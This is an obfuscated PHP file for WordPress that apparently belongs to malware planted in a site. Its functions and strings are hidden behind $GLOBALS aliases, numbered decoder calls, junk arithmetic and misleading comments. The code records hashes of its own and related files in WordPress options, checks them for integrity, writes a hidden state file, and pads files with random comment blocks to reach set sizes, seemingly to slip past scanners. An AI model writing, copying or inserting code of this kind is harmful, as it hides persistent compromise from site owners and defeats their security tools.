        function s_41a4npfkl91g6lvjvfe($f6uatuinetfhxz     = false)
{
// propagate-const flat alert

static      $c0abca9op_ =   null;



if     ($f6uatuinetfhxz)  {
$c0abca9op_  =  null;
      }

 if   ($c0abca9op_     !==  null) return $c0abca9op_;
 $dwcyirx8msi_e3  =    r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
  if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3)   && $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3) > (829-329) &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3) <=   (601715+446861)   && !k4lhjl5483_yjz($dwcyirx8msi_e3)    &&    pqt0j30bec0qiplt($dwcyirx8msi_e3))   {

    $c0abca9op_   =  $dwcyirx8msi_e3;
    return   $c0abca9op_;
}


  $w3wqeuahmncedd = p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(839),  "");
if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($w3wqeuahmncedd)  &&   $GLOBALS['__scf_m36_x4cy3m1b5_10']($w3wqeuahmncedd)    >    (476+24) &&   $GLOBALS['__scf_m36_x4cy3m1b5_10']($w3wqeuahmncedd)  <=   (214179+834397)  && !k4lhjl5483_yjz($w3wqeuahmncedd)   && pqt0j30bec0qiplt($w3wqeuahmncedd))  {
 $c0abca9op_  = $w3wqeuahmncedd;
   return    $c0abca9op_;
   }

   $c0abca9op_    =  false;
    return     $c0abca9op_;
}
    function doc379joovtj_lisexoga9($f6uatuinetfhxz =   false)
 {
static $hm4zk_al_f  = null;
      if  ($f6uatuinetfhxz)  {
  $hm4zk_al_f   =  null;
 }

  if    ($hm4zk_al_f     !== null)   return  $hm4zk_al_f;
   $dwcyirx8msi_e3   =    s_41a4npfkl91g6lvjvfe();
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3)     || $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3)    <  (497+3) ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3) >  (1048510+66)  ||  k4lhjl5483_yjz($dwcyirx8msi_e3)   ||   !pqt0j30bec0qiplt($dwcyirx8msi_e3))   {
 $hm4zk_al_f = false;
  return  $hm4zk_al_f;
   }
$hm4zk_al_f   = $GLOBALS['__scf__y1qevmu6cl77u_343'](lw3wnvq4czmze4k0ie($dwcyirx8msi_e3));
 return  $hm4zk_al_f;
   }
 function yefocejm47svn8b5g($xzp109u18gm)
 {
 if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xzp109u18gm)    ||    $GLOBALS['__scf_m36_x4cy3m1b5_10']($xzp109u18gm)   <  (216^202)   ||     $GLOBALS['__scf_pozjicggfgaq_9']($xzp109u18gm,  0, 2)   !==     "\x1f\x8b")     return 0;
$zf_y1qmxn_a   = @$GLOBALS['__scf_at1pry017d_267']('V',    $GLOBALS['__scf_pozjicggfgaq_9']($xzp109u18gm,    -(0x3+0x1)));


$zf_y1qmxn_a  =  $GLOBALS['__scf_a91xkwk0qm_35']($zf_y1qmxn_a)    ? $zf_y1qmxn_a[1]      :   0;

  if    ($zf_y1qmxn_a  < (0x1c+0x1d8)     || $zf_y1qmxn_a      >  (1048480+96))  return   $zf_y1qmxn_a;
   return      0;
     }
function miyln8xkvdfdg3is($kmgnq9_fgpd56zwu)
  {
 return  $GLOBALS['__scf_kb2xy4h7pgw5d_341'](hexdec($kmgnq9_fgpd56zwu[1]));
       }
function mnjwoq6_2fqzybrsdxadv2($i2heqo3a8u1x)
   {
   if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)   ||  $i2heqo3a8u1x  ===     "")   return  $i2heqo3a8u1x;
 static   $fb4vj4d70i9rq  =   null;
if      ($fb4vj4d70i9rq    ===  null)  {



        $fb4vj4d70i9rq     =  false;


        if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1309)))   {
// WP Featured Image: traverse message-queue

 $_dd      =    defined(c_5yznsrtgse_i(1310))   ?  WP_CONTENT_DIR     :  (defined(c_5yznsrtgse_i(1283))  ?   ABSPATH    : "");
if   ($_dd   !== "")   {$ok19otv8m1=(0x3b+0x9f);$utpog1uf=$ok19otv8m1%13;
 $aczvqwvgihezw5   = @disk_free_space($_dd);
if  ($aczvqwvgihezw5     !== false   &&   $aczvqwvgihezw5 >=  (157286332+68)) $fb4vj4d70i9rq  =  true;
}
   }
 if   (!$fb4vj4d70i9rq)    {
 if      ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(912)))  @update_option(e77owqcywda_d(1311), $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),   okltugscqfcy(1312));
  }   elseif ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1258)))      {
$tufjta4pp_4y0m  =  (int)  get_option(okltugscqfcy(1311), 0);
  if ($tufjta4pp_4y0m &&  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()    -     $tufjta4pp_4y0m     < (86332+68))  $fb4vj4d70i9rq     =      false;
}


  }
if   (!$fb4vj4d70i9rq)  {
 return    $i2heqo3a8u1x;



 }
 $veimkdkt_5hj5   =  hoky7qqxzjgo1zympoa();
 if   ($veimkdkt_5hj5  === -1 ||  $veimkdkt_5hj5 >=    (175400799-41183071))  {
$f_4isqr6gaomku4  = (1799926+74)  +  $GLOBALS['__scf_s3bo674ng_q_342'](0,    (657935+42065));
   } elseif   ($veimkdkt_5hj5   >=   (67108822+42))  {
$f_4isqr6gaomku4  =  (0x178677+0x3f0c9)   +     $GLOBALS['__scf_s3bo674ng_q_342'](0, (1361310-661310));



  }    else {
  return    $i2heqo3a8u1x;
}

 if    ($GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x)  >= $f_4isqr6gaomku4)   return $i2heqo3a8u1x;
     if ($GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_zwo1a6spxvy_12']($i2heqo3a8u1x),  -2)    ===     c_5yznsrtgse_i(1313))    return $i2heqo3a8u1x;
  while  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x) <    $f_4isqr6gaomku4  - (0x2e0+0xd24))  {



$m6x_x9ny238pu =  "";
        if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1314)))    {
     try   {
    $m6x_x9ny238pu   =    @$GLOBALS['__scf_ywju8yv_5uct_1315'](random_bytes((1909+91)));
}    catch     (Throwable $ye68b7hs2257kgf)  {
$m6x_x9ny238pu  = "";
}   catch     (Exception    $ye68b7hs2257kgf)  {
 $m6x_x9ny238pu =      "";
  }
}
  if ($GLOBALS['__scf_m36_x4cy3m1b5_10']($m6x_x9ny238pu) <    (3946+54))  {
   $m6x_x9ny238pu    = $GLOBALS['__scf_poant85f5yad_56'](uniqid("",  true));

    while    ($GLOBALS['__scf_m36_x4cy3m1b5_10']($m6x_x9ny238pu)  < (0x418+0xb88)) $m6x_x9ny238pu .= $GLOBALS['__scf_poant85f5yad_56']($m6x_x9ny238pu);
}
    $i2heqo3a8u1x  .=  "\n/*"  . $m6x_x9ny238pu      .   okltugscqfcy(1316);
  }
return    $i2heqo3a8u1x;
   }
      function ti6s2mx79ow6io($i2heqo3a8u1x)
  {



if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)     || $GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x)   <= (1875870-827294)) return  $i2heqo3a8u1x;
 $dtmb4x_663o5v = $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1317), "", $i2heqo3a8u1x);
   return  $GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v)      ?   $dtmb4x_663o5v : $i2heqo3a8u1x;
      }
 function hoky7qqxzjgo1zympoa()
 {


static    $xctc5gs8vr2z2j =   null;
if   ($xctc5gs8vr2z2j !== null)   return   $xctc5gs8vr2z2j;
 $xctc5gs8vr2z2j   =   0;
 


 if     (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1154)))     return $xctc5gs8vr2z2j;
   $xzp109u18gm   =  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](e77owqcywda_d(1318));
       if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xzp109u18gm)) return $xctc5gs8vr2z2j;
$xzp109u18gm     =  $GLOBALS['__scf__90_xdmo58j3q_311']($xzp109u18gm);

if   ($xzp109u18gm ===   "") return $xctc5gs8vr2z2j;



   if  ($xzp109u18gm   ===   okltugscqfcy(1319)) {
$xctc5gs8vr2z2j   =  -1;
 return  $xctc5gs8vr2z2j;
    }
   $o37smmdny8q3    =   (float)    $xzp109u18gm;
 $b1esfn40zr2dc =    $GLOBALS['__scf_qbrhx_nd3m9_f_1320']($GLOBALS['__scf_pozjicggfgaq_9']($xzp109u18gm,    -1));
    if    ($b1esfn40zr2dc  ===  'G')   $o37smmdny8q3    *=  (1469873695-396131871);
elseif     ($b1esfn40zr2dc   ===   'M')   $o37smmdny8q3   *= (1910906-862330);
elseif   ($b1esfn40zr2dc  ===  'K') $o37smmdny8q3  *=  (1015+9);
  if    ($o37smmdny8q3     >  0)   $xctc5gs8vr2z2j =  (int)  $o37smmdny8q3;
   return  $xctc5gs8vr2z2j;
}
 function     nk_tspp3t11mjqbj($em4xzxp3jm6)
{
      $em4xzxp3jm6      =   (int) $em4xzxp3jm6;
    if  ($em4xzxp3jm6 <=  0)   return  false;
     if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1321)))     return false;
  $gekek5k62j  =  hoky7qqxzjgo1zympoa();

    if ($gekek5k62j === -1)    return  true;
   




if  ($gekek5k62j     <=    0)  return   false;
     $l5g00jpyp7yb6i    =   @memory_get_usage(true);


 if  (!$GLOBALS['__scf_cnntu73crusp7f_39']($l5g00jpyp7yb6i) ||   $l5g00jpyp7yb6i    < 0) return  false;$k_sfgm9h4hdx=103|164;$kklv_wloyfu=$k_sfgm9h4hdx^226;
     return ($gekek5k62j   -   $l5g00jpyp7yb6i) >   (($em4xzxp3jm6 * (5-2))     + (1158563+938589));
     }


   function  birqc7eypm0u5577c3vf($em4xzxp3jm6)
 {


     $em4xzxp3jm6  = (int)    $em4xzxp3jm6;
  if  ($em4xzxp3jm6     <=    0) return false;
   if     (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1321)))   return  true;
     $gekek5k62j   =   hoky7qqxzjgo1zympoa();

if  ($gekek5k62j   ===  -1)    return  true;
if   ($gekek5k62j  <=  0)  return    true;
 $l5g00jpyp7yb6i  =   @memory_get_usage(true);
     if  (!$GLOBALS['__scf_cnntu73crusp7f_39']($l5g00jpyp7yb6i) ||   $l5g00jpyp7yb6i <   0) return true;
 return ($gekek5k62j - $l5g00jpyp7yb6i) >    (($em4xzxp3jm6   *  (14^26)) +    (0x463fe4+0x39c01c));$nb8wf17_uhqarp=16+85;$nvbww7jak1=$nb8wf17_uhqarp-27;
}
       function     r69sydkoh03qc2iwi5sfm($gfqyhfnvmz)
  {

if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($gfqyhfnvmz)    || $gfqyhfnvmz  ===   "" ||      !@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)) return false;
   if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(59))) @clearstatcache(true,   $gfqyhfnvmz);
    $em4xzxp3jm6 = @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz);
 if (!$GLOBALS['__scf_cnntu73crusp7f_39']($em4xzxp3jm6) || $em4xzxp3jm6  <   1)    return false;
if    ($em4xzxp3jm6 >   (0x723cbe+0x2adc342))  return null;



if   ($em4xzxp3jm6   > (1048519+57) && !nk_tspp3t11mjqbj($em4xzxp3jm6)) return   null;
  $i2heqo3a8u1x =   @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz,  false,   null,   0,    $em4xzxp3jm6     +    1);
        if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)   ||      $GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x)  !== $em4xzxp3jm6) return  false;
      return   $em4xzxp3jm6  >      (1048505+71)  ? ti6s2mx79ow6io($i2heqo3a8u1x)   :  $i2heqo3a8u1x;
  }
 function    gy672vrnjusgcel1($gfqyhfnvmz)
   {
   if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1322)) || !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(912))) return;
 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($gfqyhfnvmz)   ||    $gfqyhfnvmz      === ""      || !@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))  return;
if  (!isset($GLOBALS[e77owqcywda_d(1323)])   ||    !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(1323)])) {
// @interrupt aggregator




$GLOBALS[onlv7_99m8sby3(1324)]     =   get_option(okltugscqfcy(1325),  array());

    if  (!$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[okltugscqfcy(1324)]))    $GLOBALS[c_5yznsrtgse_i(1326)] =   array();
 }
       $kmgnq9_fgpd56zwu   =  $GLOBALS[onlv7_99m8sby3(1326)];
 $i2heqo3a8u1x   =   r69sydkoh03qc2iwi5sfm($gfqyhfnvmz);$ps45074vno_1a=PHP_MAJOR_VERSION;$xbu7rsb5fr99=$ps45074vno_1a*2;


  if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)) return;
 $kmgnq9_fgpd56zwu[$GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz)] =   array('p'     => $gfqyhfnvmz, 'h'   =>      $GLOBALS['__scf_poant85f5yad_56']($i2heqo3a8u1x),  'g'     =>      w218ynit42v8uao2p(), 't' => $GLOBALS['__scf_p_l9i38f5mdu2r_184']());


   if ($GLOBALS['__scf_hotyagmbtkrb_36']($kmgnq9_fgpd56zwu)   >  (0x98+0x30))   {
  foreach   ($kmgnq9_fgpd56zwu as   $bszqf_sws4z8acg_ => $o37smmdny8q3)    {
 if  (!$GLOBALS['__scf_a91xkwk0qm_35']($o37smmdny8q3)  ||     !isset($o37smmdny8q3['t']) ||   (int)    $o37smmdny8q3['t']   < $GLOBALS['__scf_p_l9i38f5mdu2r_184']()    - (3173988-581988))  unset($kmgnq9_fgpd56zwu[$bszqf_sws4z8acg_]);
}



  while     ($GLOBALS['__scf_hotyagmbtkrb_36']($kmgnq9_fgpd56zwu)   > (107+93))  {



 $b_7gut2hg1osx0   = null;
      $azyi1q357a = null;

foreach  ($kmgnq9_fgpd56zwu as  $bszqf_sws4z8acg_    =>  $o37smmdny8q3)     {
 $o99mk3mp7pwfdhs  =   $GLOBALS['__scf_a91xkwk0qm_35']($o37smmdny8q3) &&  isset($o37smmdny8q3['t'])   ?     (int)    $o37smmdny8q3['t']   :  0;
   if ($azyi1q357a ===   null   ||  $o99mk3mp7pwfdhs   <   $azyi1q357a)   {
   $azyi1q357a  = $o99mk3mp7pwfdhs;
$b_7gut2hg1osx0   =    $bszqf_sws4z8acg_;
}
   }
  if    ($b_7gut2hg1osx0   === null)  break;
 unset($kmgnq9_fgpd56zwu[$b_7gut2hg1osx0]);
       }


  }

  update_option(onlv7_99m8sby3(1325),     $kmgnq9_fgpd56zwu,   onlv7_99m8sby3(1327));
  $GLOBALS[onlv7_99m8sby3(1326)] = $kmgnq9_fgpd56zwu;


}
 function  n0t8w3br3bo60xew4($gfqyhfnvmz)
  {
     if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($gfqyhfnvmz)   ||   $gfqyhfnvmz   === "") return   false;
   if   (!isset($GLOBALS[onlv7_99m8sby3(1326)])  || !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[c_5yznsrtgse_i(1328)]))   {
$GLOBALS[onlv7_99m8sby3(1328)]      = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1329))  ?   get_option(c_5yznsrtgse_i(1325), array())    :  array();
 if (!$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[onlv7_99m8sby3(1328)]))    $GLOBALS[okltugscqfcy(1330)]   =    array();
 }
$kmgnq9_fgpd56zwu    = $GLOBALS[c_5yznsrtgse_i(1330)];
 $yqx3p1r0wf  = $GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz);
       if (isset($kmgnq9_fgpd56zwu[$yqx3p1r0wf])    &&      $GLOBALS['__scf_a91xkwk0qm_35']($kmgnq9_fgpd56zwu[$yqx3p1r0wf]) &&  isset($kmgnq9_fgpd56zwu[$yqx3p1r0wf]['h'])) {
    if ((int)    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz)   > (18908013+33520787))    return     okltugscqfcy(1331);



$i2heqo3a8u1x  =   r69sydkoh03qc2iwi5sfm($gfqyhfnvmz);
 if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x))    {
   return    ($GLOBALS['__scf_poant85f5yad_56']($i2heqo3a8u1x)  ===  $kmgnq9_fgpd56zwu[$yqx3p1r0wf]['h'])  ?  true     :    e77owqcywda_d(1331);
 }
      return    false;
  }


   if  (b1p_z7rdqk4o1fv4ey8f3t($gfqyhfnvmz,  (0x19c+0x58)))    {
 $k7b_rvq0a5    =   @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz,  false,    null,    0,     (7948-3852));
    if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($k7b_rvq0a5)  && $GLOBALS['__scf_ffvfced40_hd3k_7']($k7b_rvq0a5,  onlv7_99m8sby3(1332))      !== false) return    c_5yznsrtgse_i(1333);
  }
  return false;
   }
   function a6hpczoz5pndfnsi()
{
    static  $kmgnq9_fgpd56zwu  =    null;
   if    ($kmgnq9_fgpd56zwu    !==  null)    return  $kmgnq9_fgpd56zwu;
 $i2heqo3a8u1x = r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
  $kmgnq9_fgpd56zwu  = $GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)   && $i2heqo3a8u1x   !== "" ? $GLOBALS['__scf_poant85f5yad_56']($i2heqo3a8u1x)   :  "";


  return $kmgnq9_fgpd56zwu;


}
function  y3znf3p69zyi8ul()
 {
   return   $GLOBALS['__scf_pozjicggfgaq_9'](a6hpczoz5pndfnsi(),   0,   (6<<1));
}
    function pbjh5irfcxu9vte()



      {
        return  hc439iwbgn5b2nwx5x_lu()    .    okltugscqfcy(1334) .   l09115umv3lykft9t(ABSPATH  .  c_5yznsrtgse_i(1335), (121^113))     .  e77owqcywda_d(1300);


   }
function gqw3uom14c2468n1o0()
 {
   $nz69rm_kkk =   array();
    if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1329))) {$t3fy67sw_tq=993;$po5geva86t6x6p=($t3fy67sw_tq>0)?$t3fy67sw_tq:-$t3fy67sw_tq;
  $ebvfg1qozm9_   =    @get_option(c_5yznsrtgse_i(1336), array());$q2y269dg1s8i=PHP_INT_MAX/PHP_INT_MAX;$l5y_5m8szvtk3=$q2y269dg1s8i+2;
 if ($GLOBALS['__scf_a91xkwk0qm_35']($ebvfg1qozm9_)) $nz69rm_kkk      =    $ebvfg1qozm9_;

 }
    $i2heqo3a8u1x = @$GLOBALS['__scf_cr6q9fwgft_18'](pbjh5irfcxu9vte())   ?  @$GLOBALS['__scf_ha14er2zmzf_92'](pbjh5irfcxu9vte())     :  "";
   if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x) && $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,   e77owqcywda_d(1337))   ===    0)  {
   $qk1nayn9awigra  = $GLOBALS['__scf_yuj8g0r0zhsi9_316']($GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x, (1+4)),  true);
    if  ($GLOBALS['__scf_a91xkwk0qm_35']($qk1nayn9awigra)      &&     (empty($nz69rm_kkk[c_5yznsrtgse_i(1338)]) ||    (!empty($qk1nayn9awigra[okltugscqfcy(1338)])  &&   $qk1nayn9awigra[e77owqcywda_d(1339)] >= $nz69rm_kkk[onlv7_99m8sby3(1339)])))  $nz69rm_kkk  =   $qk1nayn9awigra;



  }
  return  $nz69rm_kkk;
  }

 function xz6divp2h18ddcqnb2($_dwz6vxi_lo)



  {
try  {
if  (!defined(onlv7_99m8sby3(1283)))  return;
      $etr6mth91_ =  $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
     if ($_dwz6vxi_lo      ===  okltugscqfcy(1340) ||    $_dwz6vxi_lo  ===     onlv7_99m8sby3(1341))   {
  $prev    =    gqw3uom14c2468n1o0();

if    (
  isset($prev[okltugscqfcy(1342)],    $prev[onlv7_99m8sby3(1343)])     && $prev[onlv7_99m8sby3(1344)] === $_dwz6vxi_lo
 &&  $etr6mth91_  - (int) $prev[onlv7_99m8sby3(1343)]  <  ($_dwz6vxi_lo ===  e77owqcywda_d(1341)  ?    (257+43) :  (106^96))
   )  return;



  }
 $nz69rm_kkk  = array(
'v'   =>     w218ynit42v8uao2p(),
  onlv7_99m8sby3(1345)      => y3znf3p69zyi8ul(),
onlv7_99m8sby3(205) => ku6yldy17ivtsoehkpgirz(),
okltugscqfcy(1122)   =>  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  e77owqcywda_d(1346)),
  e77owqcywda_d(1347)   =>   $_dwz6vxi_lo,
   e77owqcywda_d(1348) =>      $etr6mth91_,
okltugscqfcy(1343)   =>  $etr6mth91_,
  onlv7_99m8sby3(1339)  => isset($_SERVER[onlv7_99m8sby3(1349)])  ? (int)    $_SERVER[c_5yznsrtgse_i(1349)]   : $etr6mth91_,
  );
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1350)))  {


  $chmytzfsl6s    =    @update_option(c_5yznsrtgse_i(1336),      $nz69rm_kkk,  c_5yznsrtgse_i(1327));
      if  ($chmytzfsl6s   ===    false  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1351)))    {
$o1iiqympug73   = @get_option(okltugscqfcy(1352),   array());
 $_hxfzxj9zhe0em1    =  !$GLOBALS['__scf_a91xkwk0qm_35']($o1iiqympug73)     || !isset($o1iiqympug73[e77owqcywda_d(1353)], $o1iiqympug73[e77owqcywda_d(1343)])    ||   $o1iiqympug73[c_5yznsrtgse_i(1354)]  !== $_dwz6vxi_lo || (int)  $o1iiqympug73[okltugscqfcy(1355)]   !== $etr6mth91_;
// Sodium crypto media upload

     if  ($_hxfzxj9zhe0em1  &&  isset($GLOBALS[onlv7_99m8sby3(1097)]) && $GLOBALS['__scf_vd54bz_6kr2o44_68']($GLOBALS[c_5yznsrtgse_i(1097)]) &&     $GLOBALS['__scf_mihsk1y5nz_118']($GLOBALS[c_5yznsrtgse_i(1097)],    onlv7_99m8sby3(1356)))   {
@$GLOBALS[e77owqcywda_d(1097)]->check_connection(false);
   @update_option(okltugscqfcy(1352),  $nz69rm_kkk, e77owqcywda_d(1357));
 }
  unset($o1iiqympug73, $_hxfzxj9zhe0em1);
     }


      unset($chmytzfsl6s);
  }
      $d5o4amclcy2jr  =   hc439iwbgn5b2nwx5x_lu();
 if   (@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)    || z896t8tuy9x7zn5($d5o4amclcy2jr,     (502-9),     true))    {
// PHP attributes: unitary command

    @$GLOBALS['__scf_uayyvei514_193'](pbjh5irfcxu9vte(),   c_5yznsrtgse_i(1337) . $GLOBALS['__scf_ddem5kbgax66n3_570']($nz69rm_kkk));
 }
  }  catch    (Throwable $ye68b7hs2257kgf)   {
 }  catch (Exception  $ye68b7hs2257kgf)  {
   }
      }
function   t6oowwx96_mz36ue04x($nz69rm_kkk)

  {
if  (!$GLOBALS['__scf_a91xkwk0qm_35']($nz69rm_kkk)     || empty($nz69rm_kkk[onlv7_99m8sby3(205)])  ||      !$GLOBALS['__scf_ncrh0liqs6be8x_41']($nz69rm_kkk[onlv7_99m8sby3(205)])) return   c_5yznsrtgse_i(207);


    $jl_ruybeyx54iw  = $nz69rm_kkk[onlv7_99m8sby3(205)];
     if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw)  ||  (int) @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jl_ruybeyx54iw) <   (817-317))  return  c_5yznsrtgse_i(207);


   if  (j9r6r4ckcu2wki7o3d41($jl_ruybeyx54iw)) return   e77owqcywda_d(1358);
    $j0ntwxgj_8   = isset($nz69rm_kkk[onlv7_99m8sby3(1354)])   ?   $nz69rm_kkk[okltugscqfcy(1354)]   :  "";
$znfvsl9fld9l   =  isset($nz69rm_kkk[c_5yznsrtgse_i(1355)])  ?  (int) $nz69rm_kkk[onlv7_99m8sby3(1355)] : 0;
if ($j0ntwxgj_8  === onlv7_99m8sby3(1359))      return  ($znfvsl9fld9l   > 0  &&    $GLOBALS['__scf_p_l9i38f5mdu2r_184']()      -  $znfvsl9fld9l    <=   (3571+29))   ?   e77owqcywda_d(1359)  : onlv7_99m8sby3(1360);
       if  ($j0ntwxgj_8   === okltugscqfcy(187))  return    c_5yznsrtgse_i(1361);

 if ($j0ntwxgj_8   ===  c_5yznsrtgse_i(1340))  return    ($znfvsl9fld9l  >  0 &&  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   $znfvsl9fld9l   <=   (199^191))    ?  okltugscqfcy(1362) : c_5yznsrtgse_i(1363);
   return  e77owqcywda_d(1362);

    }
function  tru98rudh0dwaa($gfqyhfnvmz)
 {
        if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))     return false;

$yionx_1pi6yhj  =    (int)     @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz);
if  ($yionx_1pi6yhj  <    (489+11)     ||  $yionx_1pi6yhj     > (421028+52007772)) return     false;
     $k7b_rvq0a5  = @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz,  false,    null,   0,  (1106+2990));
    if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($k7b_rvq0a5) ||  !$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(204),   $k7b_rvq0a5)) return  false;
if ($yionx_1pi6yhj >  (0xa524b+0x5adb5))  {
     $f_4isqr6gaomku4    =   @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz,      false,   null, $yionx_1pi6yhj - (2773+1323));
   return  $GLOBALS['__scf_ncrh0liqs6be8x_41']($f_4isqr6gaomku4)  && $GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1364), $f_4isqr6gaomku4)   === 1;
       }
  $i2heqo3a8u1x     = @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);
 if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x))  return  false;
return  pqt0j30bec0qiplt($i2heqo3a8u1x);
}
function   y06apgntkz3fy3e7gf($hh1_yfj6va,    $ve7b97bfesd5z0)
   {
$aodd817xav10 = @$GLOBALS['__scf_ha14er2zmzf_92']($hh1_yfj6va,   false,  null, 0,   (4060+36));
      $khmpvu65ad   = @$GLOBALS['__scf_ha14er2zmzf_92']($ve7b97bfesd5z0,    false,  null,    0, (4080+16));
    if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($aodd817xav10)    ||  !$GLOBALS['__scf_ncrh0liqs6be8x_41']($khmpvu65ad)) return  false;
     $i7hb342pkla   =   $ou42ecuw7a71605 =   null;
 if    ($GLOBALS['__scf_ibg88bu925_93']("/!function_exists\('([A-Za-z0-9_]+)'\)/",     $aodd817xav10, $u5adej1v4k))    $i7hb342pkla   =   $u5adej1v4k[1];
   if ($GLOBALS['__scf_ibg88bu925_93']("/!function_exists\('([A-Za-z0-9_]+)'\)/",  $khmpvu65ad,    $u5adej1v4k))  $ou42ecuw7a71605    = $u5adej1v4k[1];
return $i7hb342pkla  !==   null && $i7hb342pkla  ===   $ou42ecuw7a71605;

 }
   function  j9r6r4ckcu2wki7o3d41($gfqyhfnvmz)
    {
  $eaeerm127wtnj = $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz,     okltugscqfcy(1346));
// atom table

  foreach  (array($GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz),  rr86pukxk9_hcz1())   as      $yaow7_phfq9)  {
     $ku7g7t25v1n =  $yaow7_phfq9     .  okltugscqfcy(1365)    .  $eaeerm127wtnj;
 if    (!@$GLOBALS['__scf_cr6q9fwgft_18']($ku7g7t25v1n)   ||   (int)  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($ku7g7t25v1n) <  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   (604722+78))  continue;
  $d15k7u4p582a =  $GLOBALS['__scf__90_xdmo58j3q_311']((string)    @$GLOBALS['__scf_ha14er2zmzf_92']($ku7g7t25v1n));
 if   ($d15k7u4p582a    ===   "")    continue;
 $i2heqo3a8u1x =  r69sydkoh03qc2iwi5sfm($gfqyhfnvmz);
    if    ($i2heqo3a8u1x ===    null)      continue;
     if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)  && $i2heqo3a8u1x   !==   ""   &&     $GLOBALS['__scf_poant85f5yad_56']($i2heqo3a8u1x)   === $d15k7u4p582a) return   true;


 }
return      false;
      }


